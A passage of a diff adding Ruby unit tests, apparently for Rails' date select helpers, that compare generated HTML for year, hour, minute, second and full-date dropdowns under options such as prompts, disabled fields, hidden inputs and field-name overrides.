+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_with_field_name_override
+    expected = %(<select id="date_annee" name="date[annee]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+  end
+
+  def test_select_year_with_type_discarding
+    expected = %(<select id="date_year" name="date_year">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(
+      Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(
+      2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_descending
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
+    assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
+  end
+
+  def test_select_year_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
+  end
+
+  def test_select_year_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
+  end
+
+  def test_select_year_with_html_options
+    expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+    #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_year" name="date[year]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="2003"')
+  end
+
+  def test_select_year_with_default_prompt
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
+  end
+
+  def test_select_year_with_custom_prompt
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
+  end
+
+  def test_select_hour
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_hour_with_ampm
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :ampm => true)
+  end
+
+  def test_select_hour_with_disabled
+    expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_hour_with_field_name_override
+    expected = %(<select id="date_heure" name="date[heure]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
+  end
+
+  def test_select_hour_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_hour_nil_with_blank
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(nil, :include_blank => true)
+  end
+
+  def test_select_hour_with_html_options
+    expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+  end
+
+  def test_select_hour_with_default_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_hour_with_custom_prompt
+    expected = %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
+  end
+
+  def test_select_minute
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_minute_with_disabled
+    expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_minute_with_field_name_override
+    expected = %(<select id="date_minuto" name="date[minuto]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
+  end
+
+  def test_select_minute_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option va [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_minute_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
+  end
+
+  def test_select_minute_nil_with_blank
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, :include_blank => true)
+  end
+
+  def test_select_minute_nil_with_blank_and_step
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
+  end
+
+  def test_select_minute_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
+  end
+
+  def test_select_minute_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
+  end
+
+  def test_select_minute_with_html_options
+    expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+    #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_minute" name="date[minute]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="00">00')
+  end
+
+  def test_select_minute_with_default_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_minute_with_custom_prompt
+    expected = %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
+  end
+
+  def test_select_second
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18))
+  end
+
+  def test_select_second_with_disabled
+    expected = %(<select id="date_second" name="date[second]" disabled="disabled">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+  end
+
+  def test_select_second_with_field_name_override
+    expected = %(<select id="date_segundo" name="date[segundo]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'segundo')
+  end
+
+  def test_select_second_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+  end
+
+  def test_select_second_nil_with_blank
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option> [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(nil, :include_blank => true)
+  end
+
+  def test_select_second_with_html_options
+    expected = %(<select id="date_second" name="date[second]" class="selector" accesskey="M">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+    #result = select_second(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_second" name="date[second]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="00">00')
+  end
+
+  def test_select_second_with_default_prompt
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</ [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+  end
+
+  def test_select_second_with_custom_prompt
+    expected = %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="1 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_second(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose seconds')
+  end
+
+  def test_select_date
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_too_big_range_between_start_year_and_end_year
+    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+    assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+  end
+
+  def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
+    assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
+  end
+
+  def test_select_date_with_order
+    expected = %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    expected <<  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:month, :day, :year])
+  end
+
+  def test_select_date_with_incomplete_order
+    # Since the order is incomplete nothing will be shown
+    expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="1" />\n)
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
+  end
+
+  def test_select_date_with_disabled
+    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
+  end
+
+  def test_select_date_with_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    2003.upto(2008) do |y|
+      if y == 2003
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_start_or_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_zero_value
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
